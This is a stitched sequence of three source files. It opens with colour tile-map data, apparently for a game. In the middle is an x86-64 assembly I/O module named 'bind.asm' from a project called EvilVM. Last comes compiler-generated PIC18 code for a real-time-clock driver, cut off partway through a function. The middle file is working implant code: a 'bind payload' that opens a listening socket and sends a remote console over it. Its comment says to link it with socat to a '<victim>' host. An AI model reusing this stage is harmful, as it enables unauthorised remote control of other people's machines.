db BROWN, BROWN, RED, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, RED, GRAY, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GREEN, GREEN, GREEN, GREEN, BLUE, BROWN
db GRAY, GRAY, RED, GRAY, GRAY, GRAY, GRAY, BROWN, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY
; INTERIOR
db GRAY, GREEN, GREEN, GRAY, GRAY, BROWN, BROWN, GREEN, GREEN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, GREEN
db GREEN, BROWN, BROWN, RED, RED, BROWN, BROWN, GREEN, GREEN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, GRAY
db GRAY, BROWN, BROWN, RED, RED, GRAY, GRAY, GREEN, GREEN, GREEN, GREEN, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, RED, RED, RED, GRAY, GRAY, GRAY, GREEN, GREEN, GREEN, GREEN, GRAY, GRAY, GRAY, GRAY, BROWN
db BROWN, RED, RED, RED, RED, GRAY, RED, RED, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db GREEN, BROWN, BROWN, RED, RED, RED, RED, GRAY, BROWN, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, GRAY
; CAVERN
db GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, BLUE, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, BROWN, BROWN, BROWN, GRAY, BROWN, BROWN, BROWN
db BROWN, BROWN, GRAY, GRAY, GRAY, BROWN, GRAY, GRAY, BROWN, GRAY, BROWN, GRAY, BROWN, BROWN, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, GRAY, GRAY
; LOBBY
db GRAY, RED, RED, RED, RED, BROWN, RED, ROOF, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, ROOF
db GRAY, BROWN, RED, RED, RED, BROWN, RED, ROOF, ROOF, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, ROOF
db YELLOW, RED, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, ROOF, GRAY, BROWN, BROWN, GREEN, GREEN, RED, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, GRAY, GRAY, ROOF, GRAY, GRAY, GRAY, GREEN, GREEN, BROWN, RED, BROWN, BROWN, GRAY, GRAY
; MANSION
db GRAY, BROWN, GRAY, GRAY, RED, ROOF, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY
db GRAY, ROOF, GRAY, GRAY, RED, YELLOW, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY
db ROOF, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, YELLOW, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db BROWN, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, GREEN, GREEN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
; LAB
db GRAY, ROOF, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN, ROOF, ROOF, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, ROOF, ROOF, GRAY, RED, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, RED, RED, GRAY, RED, GRAY, GRAY, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, BROWN, BROWN, BROWN, BROWN, RED, RED, ROOF, GRAY
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, ROOF, ROOF, ROOF, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY
; CLUB
db GRAY, GREEN, GREEN, GREEN, GRAY, BROWN, GREEN, BROWN, BROWN, RED, RED, RED, RED, RED, RED, GRAY
db BROWN, GREEN, GREEN, GREEN, GRAY, RED, RED, BROWN, BROWN, GRAY, RED, RED, RED, RED, ROOF, ROOF
db GRAY, GRAY, GRAY, GRAY, GREEN, GREEN, GREEN, GREEN, RED, RED, GREEN, GREEN, RED, RED, RED, RED
db RED, RED, RED, RED, RED, RED, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, ROOF
db GRAY, GRAY, ROOF, ROOF, ROOF, ROOF, ROOF, BROWN, BROWN, BROWN, BROWN, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
; FACILITY
db GRAY, RED, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, YELLOW, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN
db GRAY, GRAY, BROWN, BROWN, BLUE, GREEN, GREEN, BROWN, YELLOW, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN
db RED, RED, RED, BROWN, YELLOW, YELLOW, BROWN, BROWN, GREEN, GREEN, GRAY, GRAY, GRAY, GRAY, GRAY, BROWN
db RED, RED, RED, GRAY, BROWN, BROWN, BROWN, BROWN, GREEN, GREEN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, RED, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN
db BROWN, BROWN, RED, BROWN, BROWN, RED, GRAY, BROWN, GRAY, BROWN, GRAY, GRAY, BROWN, BROWN, GRAY, GRAY
; PLATEAU
db GRAY, BROWN, BROWN, ROOF, GRAY, BROWN, BROWN, GREEN, GREEN, GRAY, GRAY, ROOF, ROOF, BROWN, BROWN, BROWN
db BROWN, BROWN, BROWN, BROWN, BLUE, BROWN, BROWN, GREEN, GREEN, GRAY, GRAY, ROOF, ROOF, BROWN, BROWN, BROWN
db GRAY, GRAY, BROWN, GRAY, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GREEN, GRAY, GRAY, GRAY
db BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, GRAY, BROWN, BROWN, BROWN, BROWN, ROOF, ROOF, ROOF
db ROOF, ROOF, ROOF, ROOF, ROOF, GREEN, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
db GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY, GRAY
|
||||
TheStack | 2bf901dbb82a3730e829aa383ad4917089302fed | Assemblycode:Assembly | {"size": 3644, "ext": "asm", "max_stars_repo_path": "agent/io/bind.asm", "max_stars_repo_name": "jephthai/EvilVM", "max_stars_repo_stars_event_min_datetime": "2019-05-18T20:46:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-28T05:10:43.000Z", "max_issues_repo_path": "agent/io/bind.asm", "max_issues_repo_name": "jephthai/EvilVM", "max_issues_repo_issues_event_min_datetime": "2019-06-04T15:33:21.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-07T15:27:58.000Z", "max_forks_repo_path": "agent/io/bind.asm", "max_forks_repo_name": "jephthai/EvilVM", "max_forks_repo_forks_event_min_datetime": "2019-05-22T02:48:30.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-03T05:34:48.000Z"} | {"max_stars_count": 141, "max_issues_count": 6, "max_forks_count": 21, "avg_line_length": 18.0396039604, "max_line_length": 63, "alphanum_fraction": 0.6909989023} | ;;;
;;; A TCP bind transport, which receives a connection from a
;;; connector that will jack it into the server console.
;;;
;;; Connect it something like this:
;;;
;;; (0) Run server at a convenient location
;;; (1) Run bind payload (will bind to configured port)
;;; (2) Run socat to connect the two services together:
;;;
;;; socat TCP:<victim>:<port> TCP:<server>:<port>
;;;
%ifndef CONNECTWAIT
%define CONNECTWAIT 1000
%endif
%ifndef IPADDR
%define IPADDR 0,0,0,0
%endif
%ifndef PORT
%define PORT 1919
%endif
start_def ASM, engine, "engine"
pushthing 2 ; 2 is the network engine
end_def engine
start_def ASM, initio, "initio"
mov rbp, rsp
and rsp, -16 ; align stack
sub rsp, 0x20
call .b
.a: db "ws2_32.dll", 0
.a1: db "WSAStartup", 0
.a2: db "socket", 0
.a3: db "bind", 0
.a4: db "send", 0
.a5: db "recv", 0
.a6: db "ioctlsocket", 0
.a7: db "accept", 0
.a8: db "closesocket", 0
.a9: db "listen", 0
.b: pop rbx
lea rcx, [rbx]
call W32_LoadLibraryA
AddGlobal G_WINSOCK, rax
mov rsi, W32_GetProcAddress
mov rdi, rax
GetProcAddress code_initio.a1 - code_initio.a, G_WSASTARTUP
GetProcAddress code_initio.a2 - code_initio.a, G_WSOCKET
GetProcAddress code_initio.a3 - code_initio.a, G_WBIND
GetProcAddress code_initio.a4 - code_initio.a, G_WSEND
GetProcAddress code_initio.a5 - code_initio.a, G_WRECV
GetProcAddress code_initio.a6 - code_initio.a, G_IOCTL
GetProcAddress code_initio.a7 - code_initio.a, G_WACCEPT
GetProcAddress code_initio.a8 - code_initio.a, G_WCLOSESOCKET
GetProcAddress code_initio.a9 - code_initio.a, G_WLISTEN
;; initialize networking
mov ecx, 0x0202
mov rdx, G_HERE
call G_WSASTARTUP
;; create socket
mov ecx, 2
mov edx, 1
mov r8, 6
call G_WSOCKET
AddGlobal G_SOCK, rax
;; create address record, connect to port
mov rcx, G_SOCK
mov r8, 16
lea rdx, [ rel $ + 9 ]
jmp .conn
db 2, 0, ; AF_INET
db (PORT >> 8) ; port, high byte
db (PORT & 0xff) ; port, low byte
db IPADDR ; target IP address
dq 0 ; padding
.conn: call G_WBIND ; connect to port
;; listen
mov rcx, G_SOCK
mov rdx, 1
call G_WLISTEN
;; accept one connection
xor rdx, rdx
mov r8, rdx
mov rcx, G_SOCK
call G_WACCEPT
;; save the client socket
push rax
sub rsp, 0x20
;; close bound socket
mov rcx, G_SOCK
call G_WCLOSESOCKET
add rsp, 0x20
pop rax
mov G_SOCK, rax
mov rsp, rbp
end_def initio
start_def ASM, c2sock, "c2sock"
pushthing G_SOCK
end_def c2sock
start_def ASM, echooff, "-echo"
end_def echooff
start_def ASM, echoon, "+echo"
end_def echoon
start_def ASM, setecho, "!echo"
popthing QWORD G_ECHO
end_def setecho
start_def ASM, emit, "emit"
push rcx
push rdi
mov rcx, G_SOCK
mov rdx, rsp
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
call G_WSEND
add rsp, 0x28
mov rdi, [PSP]
add PSP, 8
pop rcx
end_def emit
start_def ASM, key, "key"
sub PSP, 8
mov [PSP], rdi
push rdi
mov rcx, G_SOCK
mov rdx, rsp
xor r8, r8
inc r8
xor r9, r9
sub rsp, 0x20
call G_WRECV
add rsp, 0x20
pop rdi
and rdi, 0xff
cmp dil, 0x0a
jne .notnl
inc QWORD G_LINENO
.notnl: cmp BYTE G_ECHO, BYTE 0
jz .skip
cmp TOS, 0x0a
jne .skip
call code_prompt
jmp .skip
.skip:
end_def key
start_def ASM, keyq, "key?"
push rcx
push rdx
mov rbp, rsp
sub rsp, 0x28
mov rcx, G_SOCK
mov rdx, 1074030207
lea r8, [rsp + 0x20]
call G_IOCTL
pushthing 1
mov edi, [rsp + 0x20]
mov rsp, rbp
pop rdx
pop rcx
end_def keyq
start_def ASM, type, "type"
push rcx
mov rcx, G_SOCK
mov rdx, [PSP]
mov r8, rdi
xor r9, r9
sub rsp, 0x20
call G_WSEND
add rsp, 0x20
mov rdi, [PSP+8]
add PSP, 16
pop rcx
end_def type
|
||||
TheStack | a30ce5fd9cae0e9009c008c0935444b92e652daf | Assemblycode:Assembly | {"size": 15818, "ext": "asm", "max_stars_repo_path": "build/default/production/rtc.asm", "max_stars_repo_name": "AlphaFelix/PBLE", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "build/default/production/rtc.asm", "max_issues_repo_name": "AlphaFelix/PBLE", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "build/default/production/rtc.asm", "max_forks_repo_name": "AlphaFelix/PBLE", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 19.4563345633, "max_line_length": 66, "alphanum_fraction": 0.7236060185} | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.6.0 #9615 (MINGW64)
;--------------------------------------------------------
; PIC16 port for the Microchip 16-bit core micros
;--------------------------------------------------------
list p=18f4550
radix dec
;--------------------------------------------------------
; public variables in this module
;--------------------------------------------------------
global _rtcInit
global _BCD2UpperCh
global _BCD2LowerCh
global _rtcStore
global _rtcStoreInt
global _rtcRead
global _rtcReadInt
global _rtcStart
global _rtcMin
global _rtcHour
global _rtcDay
global _rtcDate
global _rtcMonth
global _rtcYear
;--------------------------------------------------------
; extern variables in this module
;--------------------------------------------------------
extern _SPPCFGbits
extern _SPPEPSbits
extern _SPPCONbits
extern _UFRMLbits
extern _UFRMHbits
extern _UIRbits
extern _UIEbits
extern _UEIRbits
extern _UEIEbits
extern _USTATbits
extern _UCONbits
extern _UADDRbits
extern _UCFGbits
extern _UEP0bits
extern _UEP1bits
extern _UEP2bits
extern _UEP3bits
extern _UEP4bits
extern _UEP5bits
extern _UEP6bits
extern _UEP7bits
extern _UEP8bits
extern _UEP9bits
extern _UEP10bits
extern _UEP11bits
extern _UEP12bits
extern _UEP13bits
extern _UEP14bits
extern _UEP15bits
extern _PORTAbits
extern _PORTBbits
extern _PORTCbits
extern _PORTDbits
extern _PORTEbits
extern _LATAbits
extern _LATBbits
extern _LATCbits
extern _LATDbits
extern _LATEbits
extern _DDRAbits
extern _TRISAbits
extern _DDRBbits
extern _TRISBbits
extern _DDRCbits
extern _TRISCbits
extern _DDRDbits
extern _TRISDbits
extern _DDREbits
extern _TRISEbits
extern _OSCTUNEbits
extern _PIE1bits
extern _PIR1bits
extern _IPR1bits
extern _PIE2bits
extern _PIR2bits
extern _IPR2bits
extern _EECON1bits
extern _RCSTAbits
extern _TXSTAbits
extern _T3CONbits
extern _CMCONbits
extern _CVRCONbits
extern _CCP1ASbits
extern _ECCP1ASbits
extern _CCP1DELbits
extern _ECCP1DELbits
extern _BAUDCONbits
extern _BAUDCTLbits
extern _CCP2CONbits
extern _CCP1CONbits
extern _ECCP1CONbits
extern _ADCON2bits
extern _ADCON1bits
extern _ADCON0bits
extern _SSPCON2bits
extern _SSPCON1bits
extern _SSPSTATbits
extern _T2CONbits
extern _T1CONbits
extern _RCONbits
extern _WDTCONbits
extern _HLVDCONbits
extern _LVDCONbits
extern _OSCCONbits
extern _T0CONbits
extern _STATUSbits
extern _INTCON3bits
extern _INTCON2bits
extern _INTCONbits
extern _STKPTRbits
extern _SPPDATA
extern _SPPCFG
extern _SPPEPS
extern _SPPCON
extern _UFRM
extern _UFRML
extern _UFRMH
extern _UIR
extern _UIE
extern _UEIR
extern _UEIE
extern _USTAT
extern _UCON
extern _UADDR
extern _UCFG
extern _UEP0
extern _UEP1
extern _UEP2
extern _UEP3
extern _UEP4
extern _UEP5
extern _UEP6
extern _UEP7
extern _UEP8
extern _UEP9
extern _UEP10
extern _UEP11
extern _UEP12
extern _UEP13
extern _UEP14
extern _UEP15
extern _PORTA
extern _PORTB
extern _PORTC
extern _PORTD
extern _PORTE
extern _LATA
extern _LATB
extern _LATC
extern _LATD
extern _LATE
extern _DDRA
extern _TRISA
extern _DDRB
extern _TRISB
extern _DDRC
extern _TRISC
extern _DDRD
extern _TRISD
extern _DDRE
extern _TRISE
extern _OSCTUNE
extern _PIE1
extern _PIR1
extern _IPR1
extern _PIE2
extern _PIR2
extern _IPR2
extern _EECON1
extern _EECON2
extern _EEDATA
extern _EEADR
extern _RCSTA
extern _TXSTA
extern _TXREG
extern _RCREG
extern _SPBRG
extern _SPBRGH
extern _T3CON
extern _TMR3
extern _TMR3L
extern _TMR3H
extern _CMCON
extern _CVRCON
extern _CCP1AS
extern _ECCP1AS
extern _CCP1DEL
extern _ECCP1DEL
extern _BAUDCON
extern _BAUDCTL
extern _CCP2CON
extern _CCPR2
extern _CCPR2L
extern _CCPR2H
extern _CCP1CON
extern _ECCP1CON
extern _CCPR1
extern _CCPR1L
extern _CCPR1H
extern _ADCON2
extern _ADCON1
extern _ADCON0
extern _ADRES
extern _ADRESL
extern _ADRESH
extern _SSPCON2
extern _SSPCON1
extern _SSPSTAT
extern _SSPADD
extern _SSPBUF
extern _T2CON
extern _PR2
extern _TMR2
extern _T1CON
extern _TMR1
extern _TMR1L
extern _TMR1H
extern _RCON
extern _WDTCON
extern _HLVDCON
extern _LVDCON
extern _OSCCON
extern _T0CON
extern _TMR0
extern _TMR0L
extern _TMR0H
extern _STATUS
extern _FSR2L
extern _FSR2H
extern _PLUSW2
extern _PREINC2
extern _POSTDEC2
extern _POSTINC2
extern _INDF2
extern _BSR
extern _FSR1L
extern _FSR1H
extern _PLUSW1
extern _PREINC1
extern _POSTDEC1
extern _POSTINC1
extern _INDF1
extern _WREG
extern _FSR0L
extern _FSR0H
extern _PLUSW0
extern _PREINC0
extern _POSTDEC0
extern _POSTINC0
extern _INDF0
extern _INTCON3
extern _INTCON2
extern _INTCON
extern _PROD
extern _PRODL
extern _PRODH
extern _TABLAT
extern _TBLPTR
extern _TBLPTRL
extern _TBLPTRH
extern _TBLPTRU
extern _PC
extern _PCL
extern _PCLATH
extern _PCLATU
extern _STKPTR
extern _TOS
extern _TOSL
extern _TOSH
extern _TOSU
extern _i2cInit
extern _i2cStart
extern _i2cRestart
extern _i2cStop
extern _i2cSend
extern _i2cRead
extern _lcdCommand
;--------------------------------------------------------
; Equates to used internal registers
;--------------------------------------------------------
WREG equ 0xfe8
FSR1L equ 0xfe1
FSR2L equ 0xfd9
POSTINC1 equ 0xfe6
POSTDEC1 equ 0xfe5
PREINC1 equ 0xfe4
PLUSW2 equ 0xfdb
PRODL equ 0xff3
; Internal registers
.registers udata_ovr 0x0000
r0x00 res 1
r0x01 res 1
r0x02 res 1
r0x03 res 1
r0x04 res 1
r0x05 res 1
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
; I code from now on!
; ; Starting pCode block
S_rtc__rtcYear code
_rtcYear:
; .line 123; rtc.c void rtcYear(unsigned char year){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 124; rtc.c i2cStart();
CALL _i2cStart
; .line 125; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 126; rtc.c i2cSend(0x06);
MOVLW 0x06
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 127; rtc.c i2cSend(year);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 128; rtc.c i2cStop();
CALL _i2cStop
; .line 129; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcMonth code
_rtcMonth:
; .line 114; rtc.c void rtcMonth(unsigned char month){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 115; rtc.c i2cStart();
CALL _i2cStart
; .line 116; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 117; rtc.c i2cSend(0x05);
MOVLW 0x05
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 118; rtc.c i2cSend(month);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 119; rtc.c i2cStop();
CALL _i2cStop
; .line 120; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcDate code
_rtcDate:
; .line 105; rtc.c void rtcDate(unsigned char date){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 106; rtc.c i2cStart();
CALL _i2cStart
; .line 107; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 108; rtc.c i2cSend(0x04);
MOVLW 0x04
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 109; rtc.c i2cSend(date);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 110; rtc.c i2cStop();
CALL _i2cStop
; .line 111; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcDay code
_rtcDay:
; .line 96; rtc.c void rtcDay(unsigned char day){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 97; rtc.c i2cStart();
CALL _i2cStart
; .line 98; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 99; rtc.c i2cSend(0x03);
MOVLW 0x03
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 100; rtc.c i2cSend(day);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 101; rtc.c i2cStop();
CALL _i2cStop
; .line 102; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcHour code
_rtcHour:
; .line 87; rtc.c void rtcHour(unsigned char hour){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 88; rtc.c i2cStart();
CALL _i2cStart
; .line 89; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 90; rtc.c i2cSend(0x02);
MOVLW 0x02
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 91; rtc.c i2cSend(hour);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 92; rtc.c i2cStop();
CALL _i2cStop
; .line 93; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcMin code
_rtcMin:
; .line 78; rtc.c void rtcMin(unsigned char min){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 79; rtc.c i2cStart();
CALL _i2cStart
; .line 80; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 81; rtc.c i2cSend(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 82; rtc.c i2cSend(min);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 83; rtc.c i2cStop();
CALL _i2cStop
; .line 84; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcStart code
_rtcStart:
; .line 68; rtc.c void rtcStart(void){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
; .line 69; rtc.c i2cStart();
CALL _i2cStart
; .line 70; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 71; rtc.c i2cSend(0x00);
MOVLW 0x00
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 72; rtc.c i2cSend(0x00);
MOVLW 0x00
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 73; rtc.c i2cStop();
CALL _i2cStop
; .line 74; rtc.c lcdCommand(0x01);
MOVLW 0x01
MOVWF POSTDEC1
CALL _lcdCommand
MOVF POSTINC1, F
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcReadInt code
_rtcReadInt:
; .line 56; rtc.c int rtcReadInt(unsigned char address){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVFF r0x01, POSTDEC1
MOVFF r0x02, POSTDEC1
MOVFF r0x03, POSTDEC1
MOVFF r0x04, POSTDEC1
MOVFF r0x05, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 60; rtc.c valH = rtcRead(address);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _rtcRead
MOVWF r0x01
MOVF POSTINC1, F
; .line 61; rtc.c valL = rtcRead(address+1);
INCF r0x00, F
MOVF r0x00, W
MOVWF POSTDEC1
CALL _rtcRead
MOVWF r0x00
MOVF POSTINC1, F
; .line 62; rtc.c val = (valH << 8);
CLRF r0x02
MOVF r0x01, W
MOVWF r0x04
CLRF r0x03
; .line 63; rtc.c val = val + valL;
CLRF r0x05
MOVF r0x00, W
ADDWF r0x03, F
MOVF r0x05, W
ADDWFC r0x04, F
; .line 65; rtc.c return val;
MOVFF r0x04, PRODL
MOVF r0x03, W
MOVFF PREINC1, r0x05
MOVFF PREINC1, r0x04
MOVFF PREINC1, r0x03
MOVFF PREINC1, r0x02
MOVFF PREINC1, r0x01
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcRead code
_rtcRead:
; .line 44; rtc.c char rtcRead(unsigned char address){
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 46; rtc.c i2cStart();
CALL _i2cStart
; .line 47; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 48; rtc.c i2cSend(address);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 49; rtc.c i2cRestart();
CALL _i2cRestart
; .line 50; rtc.c i2cSend(0xD1);
MOVLW 0xd1
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 51; rtc.c val = i2cRead();
CALL _i2cRead
MOVWF r0x00
; .line 52; rtc.c i2cStop();
CALL _i2cStop
; .line 53; rtc.c return val;
MOVF r0x00, W
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcStoreInt code
_rtcStoreInt:
; .line 34; rtc.c void rtcStoreInt(unsigned char address, int val)
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVFF r0x01, POSTDEC1
MOVFF r0x02, POSTDEC1
MOVFF r0x03, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
MOVLW 0x03
MOVFF PLUSW2, r0x01
MOVLW 0x04
MOVFF PLUSW2, r0x02
; .line 36; rtc.c i2cStart();
